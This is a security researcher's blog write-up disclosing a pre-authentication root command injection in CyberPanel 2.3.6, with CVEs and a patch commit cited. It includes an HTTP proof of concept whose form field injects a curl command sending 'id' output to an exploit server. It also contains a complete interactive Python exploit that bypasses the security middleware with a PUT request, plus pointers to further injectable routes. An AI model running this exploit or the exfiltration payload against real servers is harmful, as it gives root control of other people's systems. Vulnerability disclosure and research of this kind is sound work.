WebSec. CTFs. Research.

What Are My OPTIONS? CyberPanel v2.3.6 pre-auth RCE

Few months ago I was assigned to do a pentest on a target running CyberPanel. It seemed to be installed by default by some VPS providers & it was also sponsored by Freshworks.

I was clueless on how to pwn the target as the functionalities were very limited, so I thought about it differently, let’s just find a 0day ¯\_(ツ)_/¯ .

This lead to a 0-click pre-auth root RCE on the latest version (2.3.6 as of now).It’s currently still “unpatched”, as in, the maintainers have been notified, a patch has been done but still waiting for the CVE & for the fix to make the make it to he main release. Update as of October 30, two CVEs have been assigned:

  • CVE-2024-51567
  • CVE-2024-51568

Along a security announcement from the maintainers.

. You can find the patch commit at https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515 .

I also did a large scale scan on bug bounty programs and a couple hosts were affected - thanks iustin for helping out!

I feel like this writeup also documents my mental model while auditing various projects, so if you’re a beginner with a creative mind looking to get started with code review, I definitely recommend you read this blog.

Codebase Structure:

It’s actually a quite simple Django web-app. It’s actual purpose is to setup various system services on a VPS (such as FTP, SSH, SMTP, IMAP, etc).

When landing on the main page we’re only greeted with a login functionality, so it appears like we don’t have much to play with :/

Image

Well, that’s just the top of the iceberg anyways.

As with any Django project, and we should always take a look at how the framework works before checking the actual project, the pattern is like so:

  • X/urls.py -> this file will contain all the API routes for functionality X.

  • X/views.py-> this file will contain all the Controllers that the routes of functionality X map to.

  • X/views -> templates that dynamically generate HTML of the page.

  • X/static -> static files and other bs. …

Since those usually contain the logic for authentication and etc. it was the first thing I started checking naturally , something that I saw right off the bat is that they were applying authentication checks for every route one-by-one.

My first questions is - why? You’d expect someone to use an auth middleware or whatever and not have to buzz himself writting an auth check on every route.

The next thought that came to my mind right after was: “Man, If I was to write code like this I’d definitely miss checking auth on a couple of routes” - and yes, that’s exactly what happened here :)

Analysis of an N-day for codebase insights:

Usually when I try to get more comfortable with a target, I always read writeups/exploits/docs of previous bugs and it helps learn about the target so much.

I noticed the following security release back in 2.3.5 - https://cyberpanel.net/blog/cyberpanel-v2-3-5

Authentication Bypass in File Manager’s Upload Functionality: A vulnerability in the File Manager upload functionality, caused by a human error, has been rectified in version 2.3.5.

  • caused by human error .. heh that doesn’t surprise me.

So it definitely gave me an idea to start analysing this patch to get more inner info about the codebase.

Let’s take a look at the commit before the patch in filemanager/views.py https://github.com/usmannasir/cyberpanel/blob/fe3fa850e81db69479e62b5f5bcb7b83ae3488e1/filemanager/views.py:

def upload(request):
    try:

        data = request.POST

        try:

            userID = request.session['userID']
            admin = Administrator.objects.get(pk=userID)
            currentACL = ACLManager.loadedACL(userID)

            if ACLManager.checkOwnership(data['domainName'], admin, currentACL) == 1:
                pass
            else:
                return ACLManager.loadErrorJson()
        except:
            pass

        fm = FM(request, data)
        return fm.upload()

    except KeyError:
        return redirect(loadLoginPage)

If you look closely, there’s two “checks” we’d need to bypass before we reach fm.upload():

  1. userID = request.session['userID']

  2. admin = Administrator.objects.get(pk=userID)

The first check gets our userId from the Django’s inner session object. The second on is a call to Django’s ORM to get info whether we’re an admin or not.

Well, to my surprise both of these actually throw an exception, where the first one tries to access a key that doesn’t exist, and the object.get() just being default Django ORM behavior:

If there are no results that match the query, get() will raise a DoesNotExist exception.

Welp, we need an un-auth bug, so we will pretty much fail both - however the code has a clear logical issue since the fm.upload() is outside of the try/except and will work regardless LOL. Whoever found this had a good pair of glasses!

Let’s take a look at upload() method:

 def upload(self):
        try:

            finalData = {}
            finalData['uploadStatus'] = 1
            finalData['answer'] = 'File transfer completed.'

            ACLManager.CreateSecureDir()
            UploadPath = '/usr/local/CyberCP/tmp/'

            ## Random file name

            RanddomFileName = str(randint(1000, 9999))

            myfile = self.request.FILES['file']
            fs = FileSystemStorage()

            try:
                filename = fs.save(RanddomFileName, myfile)
                finalData['fileName'] = fs.url(filename)
            except BaseException as msg:
                logging.writeToFile('%s. [375:upload]' % (str(msg)))



            domainName = self.data['domainName']
            try:
                pathCheck = '/home/%s' % (self.data['domainName'])
                website = Websites.objects.get(domain=domainName)

                command = 'ls -la %s' % (self.data['completePath'])
                result = ProcessUtilities.outputExecutioner(command, website.externalApp)
                #
                if result.find('->') > -1:
                    return self.ajaxPre(0, "Symlink attack.")

                if ACLManager.commandInjectionCheck(self.data['completePath'] + '/' + myfile.name) == 1:
                    return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')

                if (self.data['completePath'] + '/' + myfile.name).find(pathCheck) == -1 or (
                        (self.data['completePath'] + '/' + myfile.name)).find('..') > -1:
                    return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')

            ... irrelevant code ...

Huh, well, seems like we’re using subprocess to read files now! Good for us I guess, this is something to note down for later!

You can guess the bug at this point, it’s a simple Command Injection via completePath via ProcessUtilities.outputExecutioner() sink.

  • Note: It’s not possible (afaik) to do this exploit with domainName since our ORM check will fail as described earlier.

I also made a quick PoC, I have no idea if it’s a new variant of the bug since RCE is not mentioned anywhere, but I suppose the same patch fixes it:

POST /filemanager/upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----NewBoundary123456789
Cookie: csrftoken=<CSRF-TOKEN>
X-Csrftoken: <CSRF-TOKEN>
Content-Length: 494
Referer: https://<target>:8090/

------NewBoundary123456789
Content-Disposition: form-data; name="domainName"

<target>
------NewBoundary123456789
Content-Disposition: form-data; name="completePath"

; curl -X POST https://<exploit-server> -d "pwn=$(id)"
------NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"

pwn
------NewBoundary123456789--

Anyways, let’s do a TLDR of the knowledge we have so far:

  • Authentication checks are done per-API route via request.session['userID'] and Django’s ORM.

  • They love piping things to subprocess.

  • They love messing up order of things.

  • They love forgetting things.

  • FYI: Many endpoints just allow you interact with them un-auth by just passing userID=1 to the controller. Hope this gives people a hint if they want to find more bugs :)

Finding the 0day:

  • At this point, I used Semgrep to grep out potential interesting pieces of code and one of them immediately popped up:
def upgrademysqlstatus(request):
    try:
        data = json.loads(request.body)
        statusfile = data['statusfile']
        installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)

        if installStatus.find("[200]") > -1:

            command = 'sudo rm -f ' + statusfile
            ProcessUtilities.executioner(command)

            final_json = json.dumps({
                'error_message': "None",
                'requestStatus': installStatus,
                'abort': 1,
                'installed': 1,
            })
            return HttpResponse(final_json)
        elif installStatus.find("[404]") > -1:
            command = 'sudo rm -f ' + statusfile
            ProcessUtilities.executioner(command)
            final_json = json.dumps({
                'abort': 1,
                'installed': 0,
                'error_message': "None",
                'requestStatus': installStatus,
            })
            return HttpResponse(final_json)

        else:
            final_json = json.dumps({
                'abort': 0,
                'error_message': "None",
                'requestStatus': installStatus,
            })
            return HttpResponse(final_json)
    except KeyError:
        return redirect(loadLoginPage)

WHAT? This just has no authentication checks & it was added in a very recent commit? Someone must’ve missed it or else it wouldn’t be so easy.

Let’s try trigger a PoC for this: Image

Huh.. since when is there a filter for malicious characters? Welp, they actually did think of implementing a middleware, a security one as well called secMiddleware :O .

Bypassing the secMiddleware:

The code is a bit lengthy, so I’ll attach a shortened version:

class secMiddleware:
    HIGH = 0
    LOW = 1

    def get_client_ip(request):
        ip = request.META.get('HTTP_CF_CONNECTING_IP')
        if ip is None:
            ip = request.META.get('REMOTE_ADDR')
        return ip

    def __init__(self, get_response):
        self.get_response = get_response

    ...
    if request.method == 'POST':
                try:

                    # logging.writeToFile(request.body)
                    data = json.loads(request.body)
                    for key, value in data.items():
                        if request.path.find('gitNotify') > -1:
                            break
                        if type(value) == str or type(value) == bytes:
                            pass
                        elif type(value) == list:
                            for items in value:
                                if items.find('- -') > -1 or items.find('\n') > -1 or items.find(';') > -1 or items.find(
                                        '&&') > -1 or items.find('|') > -1 or items.find('...') > -1 \
                                        or items.find("`") > -1 or items.find("$") > -1 or items.find(
                                    "(") > -1 or items.find(")") > -1 \
                                        or items.find("'") > -1 or items.find("[") > -1 or items.find(
                                    "]") > -1 or items.find("{") > -1 or items.find("}") > -1 \
                                        or items.find(":") > -1 or items.find("<") > -1 or items.find(
                                    ">") > -1 or items.find("&") > -1:
                                    logging.writeToFile(request.body)
                                    final_dic = {
                                        'error_message': "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >.",
                                        "errorMessage": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >."}
                                    final_json = json.dumps(final_dic)
                                    return HttpResponse(final_json)
                        else:
                            continue

...

        response = self.get_response(request)

        response['X-XSS-Protection'] = "1; mode=block"
        response['X-Frame-Options'] = "sameorigin"
        response['Content-Security-Policy'] = "script-src 'self' https://www.jsdelivr.com"
        response['Content-Security-Policy'] = "connect-src *;"
        response[
            'Content-Security-Policy'] = "font-src 'self' 'unsafe-inline' https://www.jsdelivr.com https://fonts.googleapis.com"
        response[
            'Content-Security-Policy'] = "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net"
        # response['Content-Security-Policy'] = "default-src 'self' cyberpanel.cloud *.cyberpanel.cloud"
        response['X-Content-Type-Options'] = "nosniff"
        response['Referrer-Policy'] = "same-origin"
        return response
             

At this point I started fuzzing for all sorts of characters+tricks that will allow me to sneak in another command past this endpoint, though to no avail.

So as with our n-day, I started approaching this logically, where I found a funny bypass, which requires just a little bit of creativity and no actual knowledge about crazy linux shenanigans that can help you here.

If you take a look at the middleware, it does the command injection checks only if the request method is POST, however, if you look at our upgrademysqlstatus() route the POST data is loaded via json.loads(request.body).

If we take a look at the docs for the body property in Django we can see the following:

The raw HTTP request body as a bytestring. This is useful for processing data in different ways than conventional HTML forms: binary images, XML payload etc. For processing conventional form data, use HttpRequest.POST.

Can you notice the differential here? The body will be sent irregardless of the HTTP method/verb in question.

Which means, that we can just do an OPTIONS/PUT/PATCH and etc as the HTTP method and bypass the security middleware completely LOL?

Yup… we can:

Image

Easy pre-auth RCE with root privileges :D (which makes sense considering this project is used to manage all the services on the system).

Exploit:

I wrote a quick interactive exploit for the “0day” that you can use, enjoy!

import httpx 
import sys 

def get_CSRF_token(client):
    resp = client.get("/")
    
    return resp.cookies['csrftoken']
    
def pwn(client, CSRF_token, cmd):
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type":"application/json",
        "Referer": str(client.base_url)
    }
    
    payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
    
    return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]
    
def exploit(client, cmd):
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)
    
if __name__ == "__main__":
    target = sys.argv[1]
    
    client = httpx.Client(base_url=target, verify=False)
    while True:
        cmd = input("$> ")

        exploit(client, cmd)

Image

You can also grab the files over at my Github.

Challenge:

Hope you had a fun time reading this writeup :)

Since you’ve already came this far, I’m giving you a challenge to even find your own bug here:

  1. My friend found another variant of this exact bug, can you do it? (solvable)

  2. This one is more so if you want to find another 0day, check out the restoreStatus route:

    def restoreStatus(self, data=None):
        try:
            backupFile = data['backupFile'].strip(".tar.gz")
        
            path = os.path.join("/home", "backup", data['backupFile'])
        
            if os.path.exists(path):
                path = os.path.join("/home", "backup", backupFile)
            elif os.path.exists(data['backupFile']):
                path = data['backupFile'].strip(".tar.gz")
            else:
                dir = data['dir']
                path = "/home/backup/transfer-" + str(dir) + "/" + backupFile
        
            if os.path.exists(path):
                try:
                    execPath = "sudo cat " + path + "/status"
                    status = ProcessUtilities.outputExecutioner(execPath)
    

    It seems like another straightforward command injection case - the issue here is that os.path.exists needs to return True, while the path would still somehow contain the command injection payload. We probably need an arbitrary file creation gadget. (Yes, I’m aware of the os.path.join trick in Python, and no, it does not help here.)

  3. There seems to be a similar case in backupStatus:

    def backupStatus(self, userID=None, data=None):
        try:
            backupDomain = data['websiteToBeBacked']
            status = os.path.join("/home", backupDomain, "backup/status")
            backupFileNamePath = os.path.join("/home", backupDomain, "backup/backupFileName")
            pid = os.path.join("/home", backupDomain, "backup/pid")
        
            domain = Websites.objects.get(domain=backupDomain)
        
            ## read file name
            try:
                command = "sudo cat " + backupFileNamePath
                fileName = ProcessUtilities.outputExecutioner(command, domain.externalApp)
                if fileName.find('No such file or directory') > -1:
                    final_json = json.dumps({'backupStatus': 0, 'error_message': "None", "status": 0, "abort": 0})
                    return HttpResponse(final_json)
            except:
    

    Though here the only issue is that we get our ORM exception if backupDomain doesn’t exist. Requires a website/filename creation bug again.

Good luck!